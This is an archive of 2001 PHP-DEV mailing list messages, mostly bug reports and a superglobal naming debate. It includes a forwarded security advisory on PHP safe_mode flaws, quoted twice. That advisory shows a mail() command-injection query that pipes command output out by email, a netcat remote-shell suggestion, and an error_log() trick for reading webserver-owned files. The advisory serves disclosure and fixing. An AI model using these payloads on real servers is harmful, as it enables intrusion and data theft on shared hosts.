To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Bug #11836 Updated: Require nor Include works inner a class file
ID: 11836 Updated by: derick Reported By: [EMAIL PROTECTED] Status: Open Old-Bug Type: Scripting Engine problem Bug Type: Feature/Change Request Operating system: PHP Version: 4.0.4pl1 Assigned To: Comments: Not a bug, this was never supposed to work. making this a feature request. Derick Previous Comments: --- [2001-07-02 09:39:39] [EMAIL PROTECTED] Require nor Include works inner a class file. I have 200+ classes that have a common declaration of variables and methods. Everytime I need to modify this declarations I have to modify this 200+ files. If I could use require or include there I had only one file to modify. This is the file where I define the class, it's only a LITTLE example: = class_test.php = ? class test { var $b=0; var $c=1; function test() { //this is the constructor //some code here } include(common_declarations.php); //same with require } ? end And this is the file where I have the common declarations for 200+ files. = common_declarations.php = ? var $common_variable1=1; function common_method1 () { $this-b++; } function common_method2 ($p=1) { $this-b=$p; } //etc ? = end = This does not work, the error is: Parse error: parse error, expecting `T_OLD_FUNCTION' or `T_FUNCTION' or `T_VAR' or `'}'' --- ATTENTION! Do NOT reply to this email! To reply, use the web interface found at http://bugs.php.net/?id=11836edit=2 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Bug #11832 Updated: memory exhausted error
ID: 11832 User Update by: [EMAIL PROTECTED] Old-Status: Feedback Status: Closed Bug Type: *General Issues Operating system: Linux 2.2.19 PHP Version: 4.0.6 Description: memory exhausted error Previous Comments: --- [2001-07-02 06:20:46] [EMAIL PROTECTED] Fatal error: Allowed memory size of 8388608 bytes exhausted (tried to allocate 9 bytes) in [somewhere]/mysql.php on line 8 Apache 1.3.19, PHP 4.0.6 configured with: ./configure --prefix=/opt/php4 --with-apxs=/opt/apache/bin/apxs --with-pgsql=/opt/pgsql --with-mysql=/opt/mysql/ --with-openssl=/usr/local/ssl/ --with-imap=/opt/imap --with-gettext --with-zlib --with-dom --with-gd --enable-gd-imgstrttf --enable-inline-optimization --with-xml --with-ttf --with-gdbm --with-mm --enable-versioning --enable-trans-sid --enable-magic-quotes --enable-safe-mode --enable-sockets --enable-sysvsem --enable-sysvshm --enable-shmop --enable-calendar --enable-exif --enable-memory-limit Might --enable-memory-limit be the culprit? (It's a production system and I can not play much with it) mysql.php worked correctly with php 4.0.5 mysql.php: ?php function getData($query) { global $host, $user, $password, $db; //echo $query.br; $conn = mysql_connect ($host, $user, $password); $result= mysql_db_query($db, $query); while($row = mysql_fetch_array($result)) $aux[] = $row; mysql_free_result($result); return $aux; }; function putData($query) { global $host, $user, $password, $db; $conn = mysql_connect ($host, $user, $password); $result= mysql_db_query($db, $query); return $query; }; ? --- Full Bug description available at: http://bugs.php.net/?id=11832 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Bug #11837 Updated: Require nor Include works inner a class file
ID: 11837 Updated by: derick Reported By: [EMAIL PROTECTED] Old-Status: Open Status: Bogus Bug Type: Feature/Change Request Operating system: PHP Version: 4.0.4pl1 Assigned To: Comments: Submitted twice Previous Comments: --- [2001-07-02 09:44:59] [EMAIL PROTECTED] Require nor Include works inner a class file. I have 200+ classes that have a common declaration of variables and methods. Everytime I need to modify this declarations I have to modify this 200+ files. If I could use require or include there I had only one file to modify. This is the file where I define the class, it's only a LITTLE example: = class_test.php = ? class test { var $b=0; var $c=1; function test() { //this is the constructor //some code here } include(common_declarations.php); //same with require } ? end And this is the file where I have the common declarations for 200+ files. = common_declarations.php = ? var $common_variable1=1; function common_method1 () { $this-b++; } function common_method2 ($p=1) { $this-b=$p; } //etc ? = end = This does not work, the error is: Parse error: parse error, expecting `T_OLD_FUNCTION' or `T_FUNCTION' or `T_VAR' or `'}'' --- ATTENTION! Do NOT reply to this email! To reply, use the web interface found at http://bugs.php.net/?id=11837edit=2 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Safe mode hole in mail()
Hi, has this been recognized already? a quick look on the archives said no. snip Mailing-List: contact [EMAIL PROTECTED]; run by ezmlm Precedence: bulk List-Id: bugtraq.list-id.securityfocus.com List-Post: mailto:[EMAIL PROTECTED] List-Help: mailto:[EMAIL PROTECTED] List-Unsubscribe: mailto:[EMAIL PROTECTED] List-Subscribe: mailto:[EMAIL PROTECTED] Delivered-To: mailing list [EMAIL PROTECTED] Delivered-To: moderator for [EMAIL PROTECTED] Date: Sat, 30 Jun 2001 12:40:06 +0200 From: Joost Pol [EMAIL PROTECTED] To: [EMAIL PROTECTED] Subject: php breaks safe mode User-Agent: Mutt/1.2.5i X-Keywords: X-UID: 156 Laberatoire Contempt Date : 12/06/2001 Author : Joost Pol alias 'Nohican' ([EMAIL PROTECTED]) Impact : Minor in most cases. Subject : PHP safe_mode troubles. 1. PHP Version 4.0.5 breaks safe-mode. 1.0 - Description of the problem An extra 5th parameter was added to the mail() command breaking safemode: - snippet of the code in mail.c (lines 156-165) if (extra_cmd != NULL) { sendmail_cmd=emalloc(strlen(sendmail_path)+strlen(extra_cmd)+2); strcpy (sendmail_cmd, sendmail_path); strcat (sendmail_cmd, ); strcat (sendmail_cmd, extra_cmd); } else { sendmail_cmd = sendmail_path; } sendmail = popen(sendmail_cmd, w); } } - end of code snippet The popen() function is the C library function popen(3). An attacker could easily upload a simple evil.php script containing: ? mail(foo@bar,foo,bar,,$bar); ? Then the script could be invoked using a simple query like: http://foo.com/evil.php?bar=;/usr/bin/id|mail [EMAIL PROTECTED] 1.1 Impact Well, first of all it renders an important part of safe_mode useless. Two examples come to mind: 1.1.1 Example 1 A customer has bougt some web space from a provider and is given only ftp access to upload his files. The customer is not supposed to have shell access nor view files outside of his home directory. The customer could easily upload and compile a lite version of the popular netcat tool (cd /usr/ports/*/netcat;make clean;makemake install)and spawn him self a remote shell on the hosting boxen. If something like suexec is not used by the provider, the shell spawned could in fact be a nobody (uid of webserver) shell. This could make the situation even worse. Situations where (virtual) hosting machines are used in a host-based authentication scheme, i am not even willing to *consider*. 1.1.2 Example 2 A customer has bought some web space from a provider and was given a shell account on the hosting boxen. If something similiar to suexec is not running the customer could spawn him self a nobody (www, web, uid of webserver) shell. (1.1.1) The impact of this varies on a per setup/provider basis. Most providers just dont *expect* someone to have a shell with the uid of the webserver on the hosting box. Internal scripts, database schemes and database password are commonly (but sadly) left owned by the uid/gid of the webserver. These become vulnerable. Even webserver configuration files (httpd.conf) and *complete* webserver roots owned by the uid/gid of the webserver have been observed in the wild. Experience learns that when unexepected-nobody access is gained on a (virtual) hosting machine bad things are bound to happen sooner or later. 1.2 - Solution Well, obviously just a slip of the PHP-team. 5th argument to mail() should not be honored in safe_mode. (MHO) 2. PHP Version 4.0.5/4.0.4pl1 SOMETIMES breaks safe_mode. 2.0 - Description of the problem PHP safe_mode has the nice feature of disallowing the opening/reading and writing to files that are not owned by the uid that the script is owned by. Though using some common sense it still is possible to open/read and write to files that are owned by the uid the webserver is running as. *notice* assuming that something like suexec is not in place */notice* An attacker could upload a simple script that does the following: ? $cmd = '? showsource($foo); ?'; error_log($cmd,3,/path/to/user/wwwspace/nobody.php); ? For example, assuming that the error_log is owned by the webserver it could be read using a simple query: http://foo.bar/~user/nobody.php?foo=/path/to/webserver/logs/access_log 2.1 - Impact Depends on the setup of the hosting box. If suexec or something similiar is used, impact is nihil. See also 1.1.1/1.1.2 2.3 - Solution Disallow the changing of the error_log location in safe_mode? Not really for me to say, the PHP-team will come with something good. Notice: just changing the error_log function wont do, you could also
Re: [PHP-DEV] Safe mode hole in mail()
On Mon, 2 Jul 2001, Jan Lehnardt wrote: Hi, has this been recognized already? a quick look on the archives said no. Yes, this is valid. I will fix this tonight. (The first problem) Derick snip Mailing-List: contact [EMAIL PROTECTED]; run by ezmlm Precedence: bulk List-Id: bugtraq.list-id.securityfocus.com List-Post: mailto:[EMAIL PROTECTED] List-Help: mailto:[EMAIL PROTECTED] List-Unsubscribe: mailto:[EMAIL PROTECTED] List-Subscribe: mailto:[EMAIL PROTECTED] Delivered-To: mailing list [EMAIL PROTECTED] Delivered-To: moderator for [EMAIL PROTECTED] Date: Sat, 30 Jun 2001 12:40:06 +0200 From: Joost Pol [EMAIL PROTECTED] To: [EMAIL PROTECTED] Subject: php breaks safe mode User-Agent: Mutt/1.2.5i X-Keywords: X-UID: 156 Laberatoire Contempt Date : 12/06/2001 Author : Joost Pol alias 'Nohican' ([EMAIL PROTECTED]) Impact : Minor in most cases. Subject : PHP safe_mode troubles. 1. PHP Version 4.0.5 breaks safe-mode. 1.0 - Description of the problem An extra 5th parameter was added to the mail() command breaking safemode: - snippet of the code in mail.c (lines 156-165) if (extra_cmd != NULL) { sendmail_cmd=emalloc(strlen(sendmail_path)+strlen(extra_cmd)+2); strcpy (sendmail_cmd, sendmail_path); strcat (sendmail_cmd, ); strcat (sendmail_cmd, extra_cmd); } else { sendmail_cmd = sendmail_path; } sendmail = popen(sendmail_cmd, w); } } - end of code snippet The popen() function is the C library function popen(3). An attacker could easily upload a simple evil.php script containing: ? mail(foo@bar,foo,bar,,$bar); ? Then the script could be invoked using a simple query like: http://foo.com/evil.php?bar=;/usr/bin/id|mail [EMAIL PROTECTED] 1.1 Impact Well, first of all it renders an important part of safe_mode useless. Two examples come to mind: 1.1.1 Example 1 A customer has bougt some web space from a provider and is given only ftp access to upload his files. The customer is not supposed to have shell access nor view files outside of his home directory. The customer could easily upload and compile a lite version of the popular netcat tool (cd /usr/ports/*/netcat;make clean;makemake install) and spawn him self a remote shell on the hosting boxen. If something like suexec is not used by the provider, the shell spawned could in fact be a nobody (uid of webserver) shell. This could make the situation even worse. Situations where (virtual) hosting machines are used in a host-based authentication scheme, i am not even willing to *consider*. 1.1.2 Example 2 A customer has bought some web space from a provider and was given a shell account on the hosting boxen. If something similiar to suexec is not running the customer could spawn him self a nobody (www, web, uid of webserver) shell. (1.1.1) The impact of this varies on a per setup/provider basis. Most providers just dont *expect* someone to have a shell with the uid of the webserver on the hosting box. Internal scripts, database schemes and database password are commonly (but sadly) left owned by the uid/gid of the webserver. These become vulnerable. Even webserver configuration files (httpd.conf) and *complete* webserver roots owned by the uid/gid of the webserver have been observed in the wild. Experience learns that when unexepected-nobody access is gained on a (virtual) hosting machine bad things are bound to happen sooner or later. 1.2 - Solution Well, obviously just a slip of the PHP-team. 5th argument to mail() should not be honored in safe_mode. (MHO) 2. PHP Version 4.0.5/4.0.4pl1 SOMETIMES breaks safe_mode. 2.0 - Description of the problem PHP safe_mode has the nice feature of disallowing the opening/reading and writing to files that are not owned by the uid that the script is owned by. Though using some common sense it still is possible to open/read and write to files that are owned by the uid the webserver is running as. *notice* assuming that something like suexec is not in place */notice* An attacker could upload a simple script that does the following: ? $cmd = '? showsource($foo); ?'; error_log($cmd,3,/path/to/user/wwwspace/nobody.php); ? For example, assuming that the error_log is owned by the webserver it could be read using a simple query: http://foo.bar/~user/nobody.php?foo=/path/to/webserver/logs/access_log 2.1 - Impact Depends on the setup of the hosting box. If suexec or something similiar is used, impact is nihil. See also 1.1.1/1.1.2 2.3 - Solution Disallow the changing of the error_log location in safe_mode? Not really for me to say, the PHP-team will come with something
[PHP-DEV] Bug #11628 Updated: odbc_fetch_into is broken
ID: 11628 Updated by: kalowsky Reported By: [EMAIL PROTECTED] Status: Closed Bug Type: ODBC related Operating system: PHP Version: 4.0.6 Assigned To: Comments: To answer the question submitted by the bug reporter: odbc_fetch_into function can work with two different calls: odbc_fetch_into($ress_id, $array) or odbc_fetch_into($ress_id, $row, $array) while the second way may work for you just fine and dandy, those using the first method were still broken. in other words the $array variable is in a bad location and should NOT be considered optional. due to the internal structure of the PHP/Zend archictecture, there didn't seem to be any real way to force arg2 to be a reference when there were only 2 total arguements thus the answer was to force arg2 and arg3 to both be references. As stated before, this function will change in 4.1, and you will be able to use constants again. Previous Comments: --- [2001-06-28 10:36:25] [EMAIL PROTECTED] Sorry to be a pain here, but why does this now need to wait for 4.1? It worked perfectly in 4.0.5. Why is 4.0.6 different? I cannot think of a single reason why the row number needs to be passed as reference. I completely agree that *redesigning* the function should wait for 4.1, but I'm now stuck on 4.0.5 because a) its a lot of work to change my code for no particularly good reason, b) I can't be sure that I won't have to change it again in 4.0.7 Do I now have to write another layer of abstraction for the ODBC layer so that I can deal with these changes? I was a little unhappy with 4.0.5 complaining about $row, but I could live with that - 10 second search and replace on 1 site. I've now got a bunch of live sites that I'll have to update so that the clients can upgrade to 4.0.6. I fully understand - and support - the need to redesign functions. I fully *expect* there to be changes that need to be made on a major point release. But on minor point releases? Or have I completely missed the point here? --- [2001-06-28 10:12:41] [EMAIL PROTECTED] This function has to be redesigned but this has to wait for PHP 4.1.x release. At the moment this is the intented behaviour. Not a bug. But expect this function to change in PHP 4.1.x. Documentation will be updated soon. --Jani --- [2001-06-27 22:50:46] [EMAIL PROTECTED] I really don't see the reason why the second parameter should be passed by reference anyway. Dan, fix this. :) --- [2001-06-27 10:24:21] [EMAIL PROTECTED] right, i think a little background is called for. 4.0.x5: odbc_fetch_into($qid,1,$row); 4.0.5: odbc_fetch_into($qid,1,$row); 4.0.6 $i=1; odbc_fetch_into($qid,$i,$row); what has this got to do with the 3rd parameter? The need for the reference operator was removed in 4.0.5 and everything worked fine. why does the row number suddenly need to be passed by reference? its not like its going to be updated by odbc_fetch_into is it? --- [2001-06-27 10:10:48] [EMAIL PROTECTED] it is not broken. this functionality was changed to remove the need for the final variable to be a reference. unfortunately due to the nature of the function, the final variable is ALWAYS required to be a reference. this functionality will change in 4.1 to better reflect a more intelligent ordering of the variables and will allow your first example to work. --- The remainder of the comments for this report are too long. To view the rest of the comments, please view the bug report online. ATTENTION! Do NOT reply to this email! To reply, use the web interface found at http://bugs.php.net/?id=11628edit=2 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Bug #11833 Updated: Unsufficient docs
ID: 11833 Updated by: danbeck Reported By: [EMAIL PROTECTED] Old-Status: Open Status: Feedback Bug Type: Documentation problem Operating system: PHP Version: 4.0.6 Assigned To: Comments: It's very hard to understand what you are saying... please forgive us if we don't quite get your point. Are you saying that the documentation is not clear as to which variables you can access using the $HTTP_ENV_VARS and $HTTP_SERVER_VARS. If this is what you are asking, then please read the 3rd paragraph and the note that follows at: http://php.net/manual/en/language.variables.predefined.php The manual can not be an exhaustive resource for all predefined variables. The best way to see exactly what is available to you is the check the output of the phpinfo() function. It describes everthing you would need to know about the PHP environment and it's predefined variables in gratuitous detail. Also, you specifically mention $PHP_SELF. You say that it's not intuitive to be in HTTP_SERVER_VARS? But it is.. it has noting to do with the system environment ($HTTP_ENV_VARS), but everything to do with the server environment. It's the filename part of the URI, not the actual filename on the server. Previous Comments: --- [2001-07-02 07:13:33] [EMAIL PROTECTED] I don't agree. I just disable register_global by setting it Off. Now I can't acces simply $PHP_SELF - returned string is empty. When I get $HTTP_SERVER_VARS[PHP_SELF], the return string is such as the $PHP_SELF with register_global On. Maybe it isn't docs bug, but devel bug? --- [2001-07-02 07:06:16] [EMAIL PROTECTED] $PHP_SELF is not an environment variable, nor a server variable, it is a special PHP variable, so it wont be registered in any arrays you listed --- [2001-07-02 06:53:24] [EMAIL PROTECTED] There isn't enough information, from which assosiative array we can acces to predefined variables, when register globals is not set. Espesially $PHP_SELF isn't in $HTTP_ENV_VARS but $HTTP_SERVER_VARS, which mean not intuos (in my opinion) localization. Regards --- ATTENTION! Do NOT reply to this email! To reply, use the web interface found at http://bugs.php.net/?id=11833edit=2 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Bug #11836 Updated: Require nor Include works inner a class file
ID: 11836 Updated by: cardinal Reported By: [EMAIL PROTECTED] Status: Open Bug Type: Feature/Change Request Operating system: PHP Version: 4.0.4pl1 Assigned To: Comments: Why don't you move your common variables and methods to a separate class, and have your 200 classes extend it? Previous Comments: --- [2001-07-02 09:41:47] [EMAIL PROTECTED] Not a bug, this was never supposed to work. making this a feature request. Derick --- [2001-07-02 09:39:39] [EMAIL PROTECTED] Require nor Include works inner a class file. I have 200+ classes that have a common declaration of variables and methods. Everytime I need to modify this declarations I have to modify this 200+ files. If I could use require or include there I had only one file to modify. This is the file where I define the class, it's only a LITTLE example: = class_test.php = ? class test { var $b=0; var $c=1; function test() { //this is the constructor //some code here } include(common_declarations.php); //same with require } ? end And this is the file where I have the common declarations for 200+ files. = common_declarations.php = ? var $common_variable1=1; function common_method1 () { $this-b++; } function common_method2 ($p=1) { $this-b=$p; } //etc ? = end = This does not work, the error is: Parse error: parse error, expecting `T_OLD_FUNCTION' or `T_FUNCTION' or `T_VAR' or `'}'' --- ATTENTION! Do NOT reply to this email! To reply, use the web interface found at http://bugs.php.net/?id=11836edit=2 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Bug #11836 Updated: Require nor Include works inner a class file
ID: 11836 User Update by: [EMAIL PROTECTED] Status: Open Bug Type: Feature/Change Request Operating system: ms nt 4 PHP Version: 4.0.4pl1 Description: Require nor Include works inner a class file It's a good idea. Thank you. I still hope that require and include will works innner class declaration in future. Previous Comments: --- [2001-07-02 10:24:46] [EMAIL PROTECTED] Why don't you move your common variables and methods to a separate class, and have your 200 classes extend it? --- [2001-07-02 09:41:47] [EMAIL PROTECTED] Not a bug, this was never supposed to work. making this a feature request. Derick --- [2001-07-02 09:39:39] [EMAIL PROTECTED] Require nor Include works inner a class file. I have 200+ classes that have a common declaration of variables and methods. Everytime I need to modify this declarations I have to modify this 200+ files. If I could use require or include there I had only one file to modify. This is the file where I define the class, it's only a LITTLE example: = class_test.php = ? class test { var $b=0; var $c=1; function test() { //this is the constructor //some code here } include(common_declarations.php); //same with require } ? end And this is the file where I have the common declarations for 200+ files. = common_declarations.php = ? var $common_variable1=1; function common_method1 () { $this-b++; } function common_method2 ($p=1) { $this-b=$p; } //etc ? = end = This does not work, the error is: Parse error: parse error, expecting `T_OLD_FUNCTION' or `T_FUNCTION' or `T_VAR' or `'}'' --- Full Bug description available at: http://bugs.php.net/?id=11836 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Bug #11836 Updated: Require nor Include works inner a class file
ID: 11836 Updated by: cynic Reported By: [EMAIL PROTECTED] Old-Status: Open Status: Suspended Bug Type: Feature/Change Request Operating system: PHP Version: 4.0.4pl1 Assigned To: Comments: yes, actual knowledge of the coding technics one uses never did any harm. I'll leave this suspended as it's a featrue request (and not very likely to get satisfied) Previous Comments: --- [2001-07-02 10:53:29] [EMAIL PROTECTED] It's a good idea. Thank you. I still hope that require and include will works innner class declaration in future. --- [2001-07-02 10:24:46] [EMAIL PROTECTED] Why don't you move your common variables and methods to a separate class, and have your 200 classes extend it? --- [2001-07-02 09:41:47] [EMAIL PROTECTED] Not a bug, this was never supposed to work. making this a feature request. Derick --- [2001-07-02 09:39:39] [EMAIL PROTECTED] Require nor Include works inner a class file. I have 200+ classes that have a common declaration of variables and methods. Everytime I need to modify this declarations I have to modify this 200+ files. If I could use require or include there I had only one file to modify. This is the file where I define the class, it's only a LITTLE example: = class_test.php = ? class test { var $b=0; var $c=1; function test() { //this is the constructor //some code here } include(common_declarations.php); //same with require } ? end And this is the file where I have the common declarations for 200+ files. = common_declarations.php = ? var $common_variable1=1; function common_method1 () { $this-b++; } function common_method2 ($p=1) { $this-b=$p; } //etc ? = end = This does not work, the error is: Parse error: parse error, expecting `T_OLD_FUNCTION' or `T_FUNCTION' or `T_VAR' or `'}'' --- ATTENTION! Do NOT reply to this email! To reply, use the web interface found at http://bugs.php.net/?id=11836edit=2 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
Re: [PHP-DEV] global HTTP_(POST|GET|SESSION|SERVER|COOKIE)_VARS;
/me smells $@, $#, $$, $' and stuff. :| I don't really mind PHP being a bit verbose. At 15:10 7/2/2001, Zeev Suraski wrote the following: -- (a) I agree that the names are long (b) Remember that you can change the name by simply assigning it around (e.g., $GET_A = $HTTP_GET_VARS) (c) I think that $GET_A is ugly :) I'd go for something along the lines of $__GET (d) Having these variables available on every function means that it's going to slow things down, so it's a no-no. What we can do is do something along the lines of $GLOBALS - where it is available in every function that *uses* it. The drawback here is that it means it will not be available via indirect reference (i.e., $foo = __GET, $$foo[bar]). I don't think it's a serious drawback though. Zeev At 15:07 2/7/2001, Derick Rethans wrote: Hello list, sometimes I use PHP too, and today I noticed the things I described here. Per coincidence, Jani, who is working on the new bugsystem, had the same thoughts about this. I'll describe the problem now: All the arrays which hold the vars are not in de global name space, you you will always need to use the global keyword, or something like $GLOBALS[HTTP_SESSION_VARS][username]; As you all can see, that's way to long and cumbersome to type. Just see this example: global $HTTP_GET_VARS; global $HTTP_POST_VARS; global $HTTP_COOKIE_VARS; if( empty($HTTP_GET_VARS['PHPSESSID']) empty($HTTP_POST_VARS['PHPSESSID']) empty($HTTP_COOKIE_VARS['PHPSESSID']) !empty($sessid) I think this looks much better: if ( empty ($GET_A['PHPSESSID']) empty ($POST_A['PHPSESSID']) empty ($COOKIE_A['PHPSESSID']) !empty ($sessid)) I propose to change the names of the arrays and to make these arrays available in all functions, this will both eliminate the use of the global keyword, and will shorten the names significantly. This will speed op coding of course. Our proposal is to use the now second word of the array, postfixed by _A (array). regards, Jani Taskinen Derick Rethans -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED] -- Zeev Suraski [EMAIL PROTECTED] CTO co-founder, Zend Technologies Ltd. http://www.zend.com/ -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED] --end of quote-- [EMAIL PROTECTED] - And the eyes of them both were opened and they saw that their files were world readable and writable, so they chmoded 600 their files. - Book of Installation chapt 3 sec 7 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
Re: [PHP-DEV] global HTTP_(POST|GET|SESSION|SERVER|COOKIE)_VARS;
On Mon, 2 Jul 2001, Cynic wrote: /me smells $@, $#, $$, $' and stuff. :| I don't really mind PHP being a bit verbose. There is nothing wrong with being verbose of course, but there is a limit on this. Writing 50 lines of code, and using in there around 20 times $HTTP_SESSION_VARS or something like that can't be what PHP is intended for. And the $__GET does not look like $@, $#, $$ or :| to me. regards, Derick -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Bug #11761 Updated: LC_CTYPE undeclared
ID: 11761 User Update by: [EMAIL PROTECTED] Status: Open Bug Type: Compile Failure Operating system: HP-UX 11.00 PHP Version: 4.0.6 Description: LC_CTYPE undeclared I was able to work around the problem by adding: #define HAVE_LOCALE_H 1 in main/php_config.h However, I am still concerned at why that particular header file was not found. Previous Comments: --- [2001-06-29 20:40:11] [EMAIL PROTECTED] User feedback (next time, use the WEB interface to answer): --- I do have /usr/include/locale.h. In the php_config.h file, the only line matching 'HAVE_LOCALE_H' is: /* #undef HAVE_LOCALE_H */ Is configure not finding my header file? --- --- [2001-06-29 17:48:56] [EMAIL PROTECTED] I was able to work around the problem by adding: #define HAVE_LOCALE_H 1 in main/php_config.h However, I am still concerned at why that particular header file was not found. --- [2001-06-29 17:14:05] [EMAIL PROTECTED] I was able to work around the problem by adding: #define HAVE_LOCALE_H 1 in main/php_config.h However, I am still concerned at why that particular header file was not found. --- [2001-06-29 17:12:30] [EMAIL PROTECTED] I do have /usr/include/locale.h. In the php_config.h file, the only line matching 'HAVE_LOCALE_H' is: /* #undef HAVE_LOCALE_H */ Is configure not finding my header file? --- [2001-06-28 11:33:59] [EMAIL PROTECTED] Do you have /usr/include/locale.h ? Can you find this line in php4/main/php_config.h: #define HAVE_LOCALE_H 1 --- The remainder of the comments for this report are too long. To view the rest of the comments, please view the bug report online. Full Bug description available at: http://bugs.php.net/?id=11761 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Bug #11679 Updated: crash on webserver start
ID: 11679 User Update by: [EMAIL PROTECTED] Old-Status: Feedback Status: Open Bug Type: Reproducible crash Operating system: Yellow Dog Linux 2.0 - 2.2.19 PPC PHP Version: 4.0.6 Description: crash on webserver start I am not loading any of the shared libraries. Which ones do you see that are not supposed to be shared? I have tried building it again without anything shared and I get the same results. Previous Comments: --- [2001-06-27 13:49:42] [EMAIL PROTECTED] You are using a lot configure options that can't be 'shared'. Also, try disabling the loaded extensions one by one in php.ini to find out with which is happens on. --- [2001-06-26 09:58:52] [EMAIL PROTECTED] Here is my config line: ./configure --with-apxs=/usr/sbin/apxs --enable-pic --enable-shared --enable-inline-optimization --with-ldap=/usr --with-openssl=/usr --with-pgsql=/usr/local --with-mysql=/usr --with-imap=/usr --with-xml --with-aspell=/usr --with-gd=shared --enable-gd-native-ttf --with-png=shared --with-png-dir=/usr --with-jpeg=shared --with-jpeg-dir=/usr --with-freetype=shared --with-freetype-dir=/usr --with-zlib=shared --with-zlib-dir=/usr --with-pdflib=shared --with-readline --enable-ftp=shared --with-mcrypt=shared --with-mhash=shared --with-bz2=shared --with-db2=shared --with-db3=shared --with-kerberos=shared --with-regex=system --enable-track-vars --enable-magic-quotes --enable-debug --with-gdbm --enable-debugger --enable-sockets --enable-sysvsem --enable-sysvshm --enable-yp --enable-force-cgi-redirect --with-config-file-path=/etc/httpd/conf --- [2001-06-26 04:26:06] [EMAIL PROTECTED] What is your configure line? --- [2001-06-25 21:02:22] [EMAIL PROTECTED] I get the following that I am unable to track down in my PHP compiling. If you can recomend any steps to help diagnoze this I woudl be glad to follow up. root@host:(/home/user/php-4.0.6)$ /sbin/service httpd restart Shutting down http: [ OK ] Starting httpd: Syntax error on line 251 of /etc/httpd/conf/httpd.conf: Cannot load /etc/httpd/modules/libphp4.so into server: /etc/httpd/modules/libphp4.so: undefined symbol: unixdriver Here is the gdb backtrace: (gdb) run -X Starting program: /usr/sbin/httpd -X Cannot access memory at address 0xe2cb3d4 (gdb) bt #0 _dl_debug_state () at dl-debug.c:56 #1 0xfe4c31c in _dl_close (_map=0x1007cf18) at dl-close.c:269 #2 0xfe4bc4c in _dl_open (file=0x10078d90 /etc/httpd/modules/libphp4.so, mode=-2147483390, caller=0x0) at dl-open.c:407 #3 0xfe8d410 in dlopen_doit (a=0x7fffd7e8) at dlopen.c:39 #4 0x3000dcfc in _dl_catch_error (objname=0xfe9e380, errstring=0xfe9e384, operate=0xfe8d3b8 dlopen_doit, args=0x7fffd7e8) at dl-error.c:149 #5 0xfe8d910 in _dlerror_run (operate=0xfe8d3b8 dlopen_doit, args=0x7fffd7e8) at dlerror.c:130 #6 0xfe8d46c in __dlopen_check (file=0xfe6be60 , mode=268947176) at dlopen.c:53 #7 0x10028f18 in ap_os_dso_load () #8 0x100078a8 in ap_get_server_built () #9 0x1000d888 in ap_clear_module_list () #10 0x1000e1e8 in ap_handle_command () #11 0x1000e258 in ap_srm_command_loop () #12 0x1000e89c in ap_process_resource_config () #13 0x1000f218 in ap_read_config () #14 0x1001a038 in main () #15 0xfd700f8 in __libc_start_main (argc=2, ubp_av=0x7a44, ubp_ev=0x100810f0, auxvec=0x7ac4, rtld_fini=0xfe6be60 main_arena, stinfo=0x100443b0, stack_on_entry=0x3000e578) at ../sysdeps/powerpc/elf/libc-start.c:119 Thank you for your time and I look forward to your response. --- Full Bug description available at: http://bugs.php.net/?id=11679 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Bug #11838: Apache crashed after PHP inicialization
From: [EMAIL PROTECTED] Operating system: RedHat Linux 6.2 PHP version: 4.0.6 PHP Bug Type: Reproducible crash Bug description: Apache crashed after PHP inicialization Compiling Apache 1.3.20, PHP 4.0.6 and mod_ssl 2.8.4 (with OpenSSL/0.9.6a) produced correctly httpd, but when httpd is started (httpd with or without -DSSL), it generates /core file... - gdb says usefull informations...:-) Version PHP4.0.5 and the same way works correctly. PaJaSoft -- Edit Bug report at: http://bugs.php.net/?id=11838edit=1 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
